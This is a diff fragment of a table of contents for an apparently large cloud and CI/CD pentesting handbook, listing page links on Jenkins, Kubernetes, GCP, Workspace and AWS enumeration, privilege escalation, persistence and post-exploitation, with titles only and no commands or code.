+  - [Concourse Architecture](pentesting-ci-cd/concourse-security/concourse-architecture.md)
+  - [Concourse Lab Creation](pentesting-ci-cd/concourse-security/concourse-lab-creation.md)
+  - [Concourse Enumeration & Attacks](pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md)
+- [CircleCI Security](pentesting-ci-cd/circleci-security.md)
+- [TravisCI Security](pentesting-ci-cd/travisci-security/README.md)
+  - [Basic TravisCI Information](pentesting-ci-cd/travisci-security/basic-travisci-information.md)
+- [Jenkins Security](pentesting-ci-cd/jenkins-security/README.md)
+  - [Basic Jenkins Information](pentesting-ci-cd/jenkins-security/basic-jenkins-information.md)
+  - [Jenkins RCE with Groovy Script](pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md)
+  - [Jenkins RCE Creating/Modifying Project](pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md)
+  - [Jenkins RCE Creating/Modifying Pipeline](pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md)
+  - [Jenkins Arbitrary File Read to RCE via "Remember Me"](pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md)
+  - [Jenkins Dumping Secrets from Groovy](pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md)
+- [Apache Airflow Security](pentesting-ci-cd/apache-airflow-security/README.md)
+  - [Airflow Configuration](pentesting-ci-cd/apache-airflow-security/airflow-configuration.md)
+  - [Airflow RBAC](pentesting-ci-cd/apache-airflow-security/airflow-rbac.md)
+- [Terraform Security](pentesting-ci-cd/terraform-security.md)
+- [Atlantis Security](pentesting-ci-cd/atlantis-security.md)
+- [Cloudflare Security](pentesting-ci-cd/cloudflare-security/README.md)
+  - [Cloudflare Domains](pentesting-ci-cd/cloudflare-security/cloudflare-domains.md)
+  - [Cloudflare Zero Trust Network](pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md)
+- [Okta Security](pentesting-ci-cd/okta-security/README.md)
+  - [Okta Hardening](pentesting-ci-cd/okta-security/okta-hardening.md)
+- [Serverless.com Security](pentesting-ci-cd/serverless.com-security.md)
+- [Supabase Security](pentesting-ci-cd/supabase-security.md)
+- [Ansible Tower / AWX / Automation controller Security](pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md)
+- [Vercel Security](pentesting-ci-cd/vercel-security.md)
+- [TODO](pentesting-ci-cd/todo.md)
+
+# ⛈️ Pentesting Cloud
+
+- [Pentesting Cloud Methodology](pentesting-cloud/pentesting-cloud-methodology.md)
+- [Kubernetes Pentesting](pentesting-cloud/kubernetes-security/README.md)
+  - [Kubernetes Basics](pentesting-cloud/kubernetes-security/kubernetes-basics.md)
+  - [Pentesting Kubernetes Services](pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md)
+    - [Kubelet Authentication & Authorization](pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md)
+  - [Exposing Services in Kubernetes](pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md)
+  - [Attacking Kubernetes from inside a Pod](pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md)
+  - [Kubernetes Enumeration](pentesting-cloud/kubernetes-security/kubernetes-enumeration.md)
+  - [Kubernetes Role-Based Access Control(RBAC)](pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md)
+  - [Abusing Roles/ClusterRoles in Kubernetes](pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md)
+    - [Pod Escape Privileges](pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md)
+    - [Kubernetes Roles Abuse Lab](pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/kubernetes-roles-abuse-lab.md)
+  - [Kubernetes Namespace Escalation](pentesting-cloud/kubernetes-security/kubernetes-namespace-escalation.md)
+  - [Kubernetes External Secret Operator](pentesting-cloud/kubernetes-security/kubernetes-external-secrets-operator.md)
+  - [Kubernetes Pivoting to Clouds](pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md)
+  - [Kubernetes Network Attacks](pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md)
+  - [Kubernetes Hardening](pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md)
+    - [Kubernetes SecurityContext(s)](pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md)
+  - [Kubernetes OPA Gatekeeper](pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/README.md)
+    - [Kubernetes OPA Gatekeeper bypass](pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md)
+  - [Kubernetes Kyverno](pentesting-cloud/kubernetes-security/kubernetes-kyverno/README.md)
+    - [Kubernetes Kyverno bypass](pentesting-cloud/kubernetes-security/kubernetes-kyverno/kubernetes-kyverno-bypass.md)
+  - [Kubernetes ValidatingWebhookConfiguration](pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md)
+- [GCP Pentesting](pentesting-cloud/gcp-security/README.md)
+  - [GCP - Basic Information](pentesting-cloud/gcp-security/gcp-basic-information/README.md)
+    - [GCP - Federation Abuse](pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md)
+  - [GCP - Permissions for a Pentest](pentesting-cloud/gcp-security/gcp-permissions-for-a-pentest.md)
+  - [GCP - Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/README.md)
+    - [GCP - App Engine Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md)
+    - [GCP - Artifact Registry Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md)
+    - [GCP - Cloud Build Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md)
+    - [GCP - Cloud Functions Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md)
+    - [GCP - Cloud Run Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md)
+    - [GCP - Cloud Shell Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md)
+    - [GCP - Cloud SQL Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md)
+    - [GCP - Compute Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md)
+    - [GCP - Filestore Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-filestore-post-exploitation.md)
+    - [GCP - IAM Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md)
+    - [GCP - KMS Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md)
+    - [GCP - Logging Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md)
+    - [GCP - Monitoring Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md)
+    - [GCP - Pub/Sub Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md)
+    - [GCP - Secretmanager Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md)
+    - [GCP - Security Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md)
+    - [GCP - Workflows Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-workflows-post-exploitation.md)
+    - [GCP - Storage Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md)
+  - [GCP - Privilege Escalation](pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md)
+    - [GCP - Apikeys Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md)
+    - [GCP - AppEngine Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md)
+    - [GCP - Artifact Registry Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md)
+    - [GCP - Batch Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md)
+    - [GCP - BigQuery Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md)
+    - [GCP - ClientAuthConfig Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md)
+    - [GCP - Cloudbuild Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md)
+    - [GCP - Cloudfunctions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md)
+    - [GCP - Cloudidentity Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md)
+    - [GCP - Cloud Scheduler Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md)
+    - [GCP - Compute Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md)
+      - [GCP - Add Custom SSH Metadata](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md)
+    - [GCP - Composer Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md)
+    - [GCP - Container Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md)
+    - [GCP - Deploymentmaneger Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md)
+    - [GCP - IAM Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md)
+    - [GCP - KMS Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md)
+    - [GCP - Orgpolicy Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md)
+    - [GCP - Pubsub Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md)
+    - [GCP - Resourcemanager Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md)
+    - [GCP - Run Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md)
+    - [GCP - Secretmanager Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md)
+    - [GCP - Serviceusage Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md)
+    - [GCP - Sourcerepos Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md)
+    - [GCP - Storage Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md)
+    - [GCP - Workflows Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md)
+    - [GCP - Generic Permissions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md)
+    - [GCP - Network Docker Escape](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md)
+    - [GCP - local privilege escalation ssh pivoting](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md)
+  - [GCP - Persistence](pentesting-cloud/gcp-security/gcp-persistence/README.md)
+    - [GCP - API Keys Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-api-keys-persistence.md)
+    - [GCP - App Engine Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md)
+    - [GCP - Artifact Registry Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md)
+    - [GCP - BigQuery Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-bigquery-persistence.md)
+    - [GCP - Cloud Functions Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-functions-persistence.md)
+    - [GCP - Cloud Run Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-run-persistence.md)
+    - [GCP - Cloud Shell Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md)
+    - [GCP - Cloud SQL Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-sql-persistence.md)
+    - [GCP - Compute Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-compute-persistence.md)
+    - [GCP - Dataflow Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md)
+    - [GCP - Filestore Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-filestore-persistence.md)
+    - [GCP - Logging Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md)
+    - [GCP - Secret Manager Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-secret-manager-persistence.md)
+    - [GCP - Storage Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md)
+    - [GCP - Token Persistance](pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistance.md)
+  - [GCP - Services](pentesting-cloud/gcp-security/gcp-services/README.md)
+    - [GCP - AI Platform Enum](pentesting-cloud/gcp-security/gcp-services/gcp-ai-platform-enum.md)
+    - [GCP - API Keys Enum](pentesting-cloud/gcp-security/gcp-services/gcp-api-keys-enum.md)
+    - [GCP - App Engine Enum](pentesting-cloud/gcp-security/gcp-services/gcp-app-engine-enum.md)
+    - [GCP - Artifact Registry Enum](pentesting-cloud/gcp-security/gcp-services/gcp-artifact-registry-enum.md)
+    - [GCP - Batch Enum](pentesting-cloud/gcp-security/gcp-services/gcp-batch-enum.md)
+    - [GCP - Bigquery Enum](pentesting-cloud/gcp-security/gcp-services/gcp-bigquery-enum.md)
+    - [GCP - Bigtable Enum](pentesting-cloud/gcp-security/gcp-services/gcp-bigtable-enum.md)
+    - [GCP - Cloud Build Enum](pentesting-cloud/gcp-security/gcp-services/gcp-cloud-build-enum.md)
+    - [GCP - Cloud Functions Enum](pentesting-cloud/gcp-security/gcp-services/gcp-cloud-functions-enum.md)
+    - [GCP - Cloud Run Enum](pentesting-cloud/gcp-security/gcp-services/gcp-cloud-run-enum.md)
+    - [GCP - Cloud Shell Enum](pentesting-cloud/gcp-security/gcp-services/gcp-cloud-shell-enum.md)
+    - [GCP - Cloud SQL Enum](pentesting-cloud/gcp-security/gcp-services/gcp-cloud-sql-enum.md)
+    - [GCP - Cloud Scheduler Enum](pentesting-cloud/gcp-security/gcp-services/gcp-cloud-scheduler-enum.md)
+    - [GCP - Compute Enum](pentesting-cloud/gcp-security/gcp-services/gcp-compute-instances-enum/README.md)
+      - [GCP - Compute Instances](pentesting-cloud/gcp-security/gcp-services/gcp-compute-instances-enum/gcp-compute-instance.md)
+      - [GCP - VPC & Networking](pentesting-cloud/gcp-security/gcp-services/gcp-compute-instances-enum/gcp-vpc-and-networking.md)
+    - [GCP - Composer Enum](pentesting-cloud/gcp-security/gcp-services/gcp-composer-enum.md)
+    - [GCP - Containers & GKE Enum](pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md)
+    - [GCP - DNS Enum](pentesting-cloud/gcp-security/gcp-services/gcp-dns-enum.md)
+    - [GCP - Filestore Enum](pentesting-cloud/gcp-security/gcp-services/gcp-filestore-enum.md)
+    - [GCP - Firebase Enum](pentesting-cloud/gcp-security/gcp-services/gcp-firebase-enum.md)
+    - [GCP - Firestore Enum](pentesting-cloud/gcp-security/gcp-services/gcp-firestore-enum.md)
+    - [GCP - IAM, Principals & Org Policies Enum](pentesting-cloud/gcp-security/gcp-services/gcp-iam-and-org-policies-enum.md)
+    - [GCP - KMS Enum](pentesting-cloud/gcp-security/gcp-services/gcp-kms-enum.md)
+    - [GCP - Logging Enum](pentesting-cloud/gcp-security/gcp-services/gcp-logging-enum.md)
+    - [GCP - Memorystore Enum](pentesting-cloud/gcp-security/gcp-services/gcp-memorystore-enum.md)
+    - [GCP - Monitoring Enum](pentesting-cloud/gcp-security/gcp-services/gcp-monitoring-enum.md)
+    - [GCP - Pub/Sub Enum](pentesting-cloud/gcp-security/gcp-services/gcp-pub-sub.md)
+    - [GCP - Secrets Manager Enum](pentesting-cloud/gcp-security/gcp-services/gcp-secrets-manager-enum.md)
+    - [GCP - Security Enum](pentesting-cloud/gcp-security/gcp-services/gcp-security-enum.md)
+    - [GCP - Source Repositories Enum](pentesting-cloud/gcp-security/gcp-services/gcp-source-repositories-enum.md)
+    - [GCP - Spanner Enum](pentesting-cloud/gcp-security/gcp-services/gcp-spanner-enum.md)
+    - [GCP - Stackdriver Enum](pentesting-cloud/gcp-security/gcp-services/gcp-stackdriver-enum.md)
+    - [GCP - Storage Enum](pentesting-cloud/gcp-security/gcp-services/gcp-storage-enum.md)
+    - [GCP - Workflows Enum](pentesting-cloud/gcp-security/gcp-services/gcp-workflows-enum.md)
+  - [GCP <--> Workspace Pivoting](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md)
+    - [GCP - Understanding Domain-Wide Delegation](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md)
+  - [GCP - Unauthenticated Enum & Access](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/README.md)
+    - [GCP - API Keys Unauthenticated Enum](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-api-keys-unauthenticated-enum.md)
+    - [GCP - App Engine Unauthenticated Enum](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-app-engine-unauthenticated-enum.md)
+    - [GCP - Artifact Registry Unauthenticated Enum](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-artifact-registry-unauthenticated-enum.md)
+    - [GCP - Cloud Build Unauthenticated Enum](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md)
+    - [GCP - Cloud Functions Unauthenticated Enum](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-functions-unauthenticated-enum.md)
+    - [GCP - Cloud Run Unauthenticated Enum](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-run-unauthenticated-enum.md)
+    - [GCP - Cloud SQL Unauthenticated Enum](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-sql-unauthenticated-enum.md)
+    - [GCP - Compute Unauthenticated Enum](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-compute-unauthenticated-enum.md)
+    - [GCP - IAM, Principals & Org Unauthenticated Enum](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-iam-principals-and-org-unauthenticated-enum.md)
+    - [GCP - Source Repositories Unauthenticated Enum](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-source-repositories-unauthenticated-enum.md)
+    - [GCP - Storage Unauthenticated Enum](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/README.md)
+      - [GCP - Public Buckets Privilege Escalation](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md)
+- [GWS - Workspace Pentesting](pentesting-cloud/workspace-security/README.md)
+  - [GWS - Post Exploitation](pentesting-cloud/workspace-security/gws-post-exploitation.md)
+  - [GWS - Persistence](pentesting-cloud/workspace-security/gws-persistence.md)
+  - [GWS - Workspace Sync Attacks (GCPW, GCDS, GPS, Directory Sync with AD & EntraID)](pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/README.md)
+    - [GWS - Admin Directory Sync](pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gws-admin-directory-sync.md)
+    - [GCDS - Google Cloud Directory Sync](pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md)
+    - [GCPW - Google Credential Provider for Windows](pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md)
+    - [GPS - Google Password Sync](pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md)
+  - [GWS - Google Platforms Phishing](pentesting-cloud/workspace-security/gws-google-platforms-phishing/README.md)
+    - [GWS - App Scripts](pentesting-cloud/workspace-security/gws-google-platforms-phishing/gws-app-scripts.md)
+- [AWS Pentesting](pentesting-cloud/aws-security/README.md)
+  - [AWS - Basic Information](pentesting-cloud/aws-security/aws-basic-information/README.md)
+    - [AWS - Federation Abuse](pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md)
+  - [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md)
+  - [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md)
+    - [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md)
+    - [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md)
+    - [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md)
+    - [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md)
+    - [AWS - ECR Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md)
+    - [AWS - ECS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md)
+    - [AWS - Elastic Beanstalk Persistence](pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md)
+    - [AWS - EFS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md)
+    - [AWS - IAM Persistence](pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md)
+    - [AWS - KMS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md)
+    - [AWS - Lambda Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md)
+      - [AWS - Abusing Lambda Extensions](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md)
+      - [AWS - Lambda Layers Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md)
+    - [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md)
+    - [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md)
+    - [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md)
+    - [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md)
+    - [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md)
+    - [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md)
+    - [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md)
+    - [AWS - Step Functions Persistence](pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md)
+    - [AWS - STS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md)
+  - [AWS - Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/README.md)
+    - [AWS - API Gateway Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md)
+    - [AWS - CloudFront Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md)
+    - [AWS - CodeBuild Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md)
+      - [AWS Codebuild - Token Leakage](pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md)
+    - [AWS - Control Tower Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md)
+    - [AWS - DLM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md)
+    - [AWS - DynamoDB Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md)
+    - [AWS - EC2, EBS, SSM & VPC Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md)
+      - [AWS - EBS Snapshot Dump](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md)
+      - [AWS - Malicious VPC Mirror](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md)
+    - [AWS - ECR Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md)
+    - [AWS - ECS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md)
+    - [AWS - EFS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md)
+    - [AWS - EKS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md)
+    - [AWS - Elastic Beanstalk Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md)
+    - [AWS - IAM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md)
+    - [AWS - KMS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md)
+    - [AWS - Lambda Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md)
+      - [AWS - Steal Lambda Requests](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
+    - [AWS - Lightsail Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md)
+    - [AWS - Organizations Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md)
+    - [AWS - RDS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md)
+    - [AWS - S3 Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md)
+    - [AWS - Secrets Manager Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md)
+    - [AWS - SES Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md)
+    - [AWS - SNS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md)
+    - [AWS - SQS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md)
+    - [AWS - SSO & identitystore Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md)
+    - [AWS - Step Functions Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md)
+    - [AWS - STS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md)
+    - [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md)
+  - [AWS - Privilege Escalation](pentesting-cloud/aws-security/aws-privilege-escalation/README.md)
+    - [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md)
+    - [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md)
+    - [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md)
+    - [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md)
+    - [AWS - Codestar Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md)
+      - [codestar:CreateProject, codestar:AssociateTeamMember](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md)
+      - [iam:PassRole, codestar:CreateProject](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md)
+    - [AWS - Cloudformation Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md)
+      - [iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md)
+    - [AWS - Cognito Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md)
+    - [AWS - Datapipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md)
+    - [AWS - Directory Services Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md)
+    - [AWS - DynamoDB Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md)
